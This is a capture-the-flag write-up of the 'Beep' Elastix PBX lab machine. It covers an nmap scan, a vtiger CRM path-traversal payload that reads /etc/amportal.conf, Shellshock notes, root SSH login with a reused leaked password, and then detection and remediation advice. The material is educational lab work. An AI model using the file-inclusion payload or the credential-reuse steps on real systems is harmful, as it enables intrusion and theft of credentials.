Overview
Beep is an Easy-rated Linux machine running Elastix, a unified communications platform built on Asterisk PBX. The system exposes 15 services across a broad attack surface: SSH, HTTPS, SMTP, POP3, IMAP, MySQL, Webmin, HylaFAX, and the Asterisk Manager Interface. The entire software stack dates from 2006 to 2008. CentOS 5.6 reached end-of-life in 2017.
The intended attack path is a vtiger CRM local file inclusion (EDB-37637) that
discloses /etc/amportal.conf, leaking the single password used for every
service on the box. However, the target only speaks SSLv3 and TLS 1.0, which
my modern OpenSSL (3.5, Fedora 43) refuses to negotiate. This forced me to
bypass the web layer entirely and test the disclosed password against SSH
directly. The password jEhdIekWmdjE grants root access in a single step.
What makes this box worth writing up is the interplay between the enormous attack surface and how little of it matters. Fifteen open ports, at least three exploitable services, and yet the whole thing collapses to password reuse. The TLS incompatibility is also instructive: modern security defaults on the attacker’s machine blocked the intended exploitation path, an ironic reversal of the usual dynamic.
Reconnaissance
The host drops ICMP echo requests, so nmap needs the -Pn flag to skip host
discovery:
nmap -sV -sC -Pn 10.129.229.183| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 22 | SSH | OpenSSH 4.3 (protocol 2.0) | Legacy algorithms only |
| 25 | SMTP | Postfix smtpd | |
| 80 | HTTP | Apache httpd 2.2.3 (CentOS) | Redirects to HTTPS |
| 110 | POP3 | Cyrus pop3d 2.3.7 | |
| 143 | IMAP | Cyrus imapd 2.3.7 | |
| 443 | HTTPS | Apache httpd 2.2.3 (CentOS) | Elastix PBX login page |
| 993 | IMAPS | Cyrus imapd | |
| 995 | POP3S | Cyrus pop3d | |
| 3306 | MySQL | MySQL (unauthorized) | |
| 4190 | Sieve | Cyrus timsieved 2.3.7 | |
| 4445 | upnotifyp | Unknown | |
| 4559 | HylaFAX | HylaFAX 4.3.1 | |
| 5038 | Asterisk | Asterisk Call Manager 1.1 | |
| 10000 | HTTP | MiniServ 1.570 (Webmin) | Requires HTTPS |
Fifteen open ports. The Cyrus versions (2.3.7) place the install around 2007. Apache 2.2.3 shipped with RHEL/CentOS 5. Every version string confirms a system frozen in time.
Attack Surface Analysis
The breadth of exposed services creates three distinct attack vectors. I evaluated each before choosing an approach.
vtiger CRM LFI (EDB-37637)
The Elastix web interface bundles vtiger CRM. The graph.php endpoint accepts
a current_language parameter passed directly to a PHP include() call
without sanitisation. On PHP 5.1.6 (prior to the null byte injection fix in
PHP 5.3.4), a null byte truncates the appended file suffix. The payload
retrieves the Elastix configuration file:
GET /vtigercrm/graph.php?current_language=../../../../../../../../etc/amportal.conf%00&module=Accounts&action| Attribute | Value |
|---|---|
| EDB | 37637 |
| CWE | CWE-98 (Improper Control of Filename for Include) |
| Root cause | User-controlled input in PHP include() with no path validation |
| Prerequisite | PHP < 5.3.4 for null byte truncation |
This is the cleanest path to credentials, but I could not reach it. My OpenSSL 3.5 enforces a minimum of TLS 1.2, and the target’s Apache only supports SSLv3 and TLS 1.0. Curl, wget, and Firefox all refused the connection. I could have downgraded my crypto policy or compiled an older OpenSSL, but I chose to explore other vectors first.
Webmin Shellshock (CVE-2014-6271)
Webmin 1.570 on port 10000 dispatches requests through CGI scripts processed
by Bash. If the system Bash is unpatched for Shellshock, HTTP headers (e.g.
User-Agent) propagate into CGI environment variables and execute as shell
commands. CentOS 5 did receive a Shellshock patch (RHSA-2014:1306), so
exploitability depends on whether this specific system was patched. The same
TLS incompatibility blocked testing this vector from my workstation.
Universal password reuse
The third vector requires no web access at all. Elastix installations commonly reuse a single password across all services. If the administrator followed this pattern, testing the password against SSH would bypass both the LFI and Shellshock paths entirely.
Vulnerability Analysis
The core vulnerability is not any software bug. It is an operational failure: a single password shared across every service on the host, including root SSH.
grep -E '(PASS|PASSWORD)' /etc/amportal.conf
# AMPDBPASS=jEhdIekWmdjE
# AMPMGRPASS=jEhdIekWmdjE
# FOPPASSWORD=jEhdIekWmdjE
# ARI_ADMIN_PASSWORD=jEhdIekWmdjEEvery credential field contains jEhdIekWmdjE. The administrator set one
password during installation and reused it for MySQL, the Asterisk Manager
Interface, the Flash Operator Panel, the Asterisk Recording Interface, and
the root system account. This collapses 15 services into a single point of
failure: compromising any one credential compromises the entire system.
| Attribute | Value |
|---|---|
| Vulnerability | Universal password reuse (CWE-522) |
| CVSS v3.1 | 9.8 (Critical) |
| Root cause | Single password for all services including root SSH |
| MITRE ATT&CK | T1078.001 (Valid Accounts: Default Accounts) |
The LFI in vtiger CRM would be the intended disclosure mechanism for this password, but the password reuse itself is the vulnerability that matters. Even without the LFI, the password could be obtained through SMTP brute force, Asterisk Manager Interface brute force, or MySQL credential guessing.
Exploitation
TLS and SSH algorithm negotiation
Two tooling barriers stood between me and the target. Both stem from the same root cause: the target’s software is too old for modern client defaults.
First, the TLS issue. The target’s Apache only negotiates SSLv3 and TLS 1.0. My Fedora 43 system ships OpenSSL 3.5, which enforces TLS 1.2 as the minimum protocol version. Every HTTP-based attack path was blocked without a crypto policy downgrade.
Second, SSH. OpenSSH 4.3 only supports ssh-rsa (SHA-1 based host keys) and
diffie-hellman-group14-sha1 key exchange. My OpenSSH 10.0 disables both by
default. Connecting requires explicit algorithm overrides and a system-wide
crypto policy change:
sudo update-crypto-policies --set LEGACY
cat /tmp/beep_ssh
# KexAlgorithms diffie-hellman-group14-sha1
# HostKeyAlgorithms ssh-rsa
# Ciphers aes128-ctr,aes256-ctr
# PubkeyAcceptedAlgorithms +ssh-rsa
# MACs hmac-sha2-256,hmac-sha1The LEGACY policy re-enables SHA-1 algorithms system-wide. The SSH config
file pins the specific algorithms the target supports.
Root access via password reuse
With the SSH compatibility sorted, I tested jEhdIekWmdjE against root:
sshpass -p 'jEhdIekWmdjE' ssh -F /tmp/beep_ssh \
-o StrictHostKeyChecking=no \
[email protected] "id"
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)Direct root access. Both flags in a single command:
ssh -F /tmp/beep_ssh [email protected] \
"cat /home/fanis/user.txt; cat /root/root.txt"
# [flag redacted]
# [flag redacted]No privilege escalation required. Password reuse gave root immediately.
Post-Exploitation
Confirming the LFI path
With root access, I verified the vtiger CRM LFI that would have been the intended exploitation path:
ls -la /var/www/html/vtigercrm/graph.php
# -rw-r--r-- 1 asterisk asterisk 3771 Sep 19 2006 graph.phpThe file exists. The current_language parameter feeds directly into
include() without validation. On PHP 5.1.6, null byte truncation works as
documented in EDB-37637. Without the TLS barrier, this LFI would disclose
/etc/amportal.conf and all its passwords through the web interface.
System enumeration
uname -a
# Linux beep 2.6.18-238.12.1.el5 #1 SMP Tue May 31 13:23:01 EDT 2011 i686
cat /etc/redhat-release
# CentOS release 5.6 (Final)
php -v
# PHP 5.1.6 (cli) (built: Nov 29 2010)Linux 2.6.18, CentOS 5.6, PHP 5.1.6. The kernel build date (May 2011) confirms no updates in over a decade. This kernel predates the introduction of SMEP, SMAP, and KASLR; local privilege escalation would be trivial even without root access.
Shellshock status
The Webmin Shellshock vector (CVE-2014-6271) remains unconfirmed. CentOS 5
received a Shellshock patch (RHSA-2014:1306), and the vulnerability status is
unknown without checking the Bash version. A future tester should verify with
bash --version and rpm -q bash. Given that the system has not been
updated since 2011 and Shellshock was disclosed in September 2014, the Bash
version is likely unpatched.
Defensive Analysis
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Initial access | T1078.001 | SSH root login from external IP (should be disabled entirely) |
| Credential access | T1552.001 | LFI reading /etc/amportal.conf (web server access logs) |
| Reconnaissance | T1046 | Port scan touching 15+ services from single source IP |
SSH root login is the most actionable detection point. Any sshd log
entry showing Accepted password for root from a non-local IP is a critical
alert. The fix is simple: PermitRootLogin no in sshd_config. This single
change would have forced the attacker to find a non-root user credential
first, then escalate.
LFI detection requires monitoring Apache access logs for path traversal
sequences (../) and null bytes (%00) in query parameters. A web
application firewall blocking these patterns would prevent the vtiger CRM
disclosure entirely.
Service exposure itself is the systemic issue. Fifteen services visible to the network means fifteen opportunities for credential testing, vulnerability scanning, and exploitation. A host-based firewall restricting inbound access to only the required ports (SIP, RTP, HTTPS for management) would reduce the attack surface by roughly 80%.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Decommission or rebuild on a supported OS | High | Critical |
| P0 | Use unique, randomly generated passwords per service | Low | Critical |
| P0 | Disable root SSH login | Low | Critical |
| P1 | Upgrade to TLS 1.2+ with modern cipher suites | Medium | High |
| P1 | Patch vtiger CRM or remove it if unused | Medium | High |
| P2 | Reduce service footprint: disable HylaFAX, Sieve, Asterisk Manager on public interfaces | Low | Medium |
| P3 | Implement network segmentation for PBX infrastructure | Medium | Medium |
CentOS 5.6 has been unsupported since 2017. The kernel, PHP, Apache, OpenSSH, and Cyrus versions all have known, unpatched CVEs numbering in the hundreds. Individual patching is futile; the correct remediation is a full rebuild on a supported distribution with current PBX software (FreePBX on AlmaLinux 9, for instance).
Key Takeaways
-
Universal password reuse collapses defence in depth. Fifteen services behind a single credential is functionally equivalent to one service with no authentication on the other fourteen. Each service should have a unique, randomly generated credential stored in a secrets manager. The Elastix installer’s default behaviour of reusing one password is a design flaw in the installer itself.
-
Large attack surfaces are a liability regardless of individual service security. Every exposed port is an additional vector for credential guessing, vulnerability scanning, and fingerprinting. PBX systems should expose only SIP/RTP for telephony and a single management interface, firewalled to trusted networks. HylaFAX, Sieve, and the Asterisk Manager Interface have no business being reachable from untrusted networks.
-
Modern security defaults cut both ways. My OpenSSL 3.5 refusing SSLv3/TLS 1.0 blocked the LFI exploitation path. This is not a defence to rely on (an attacker can always compile older tools), but it demonstrates that protocol deprecation has tangible effects. The inverse is also true: the target’s ancient SSH algorithms required me to weaken my own system’s crypto policy, a step that should give any attacker pause on a real engagement.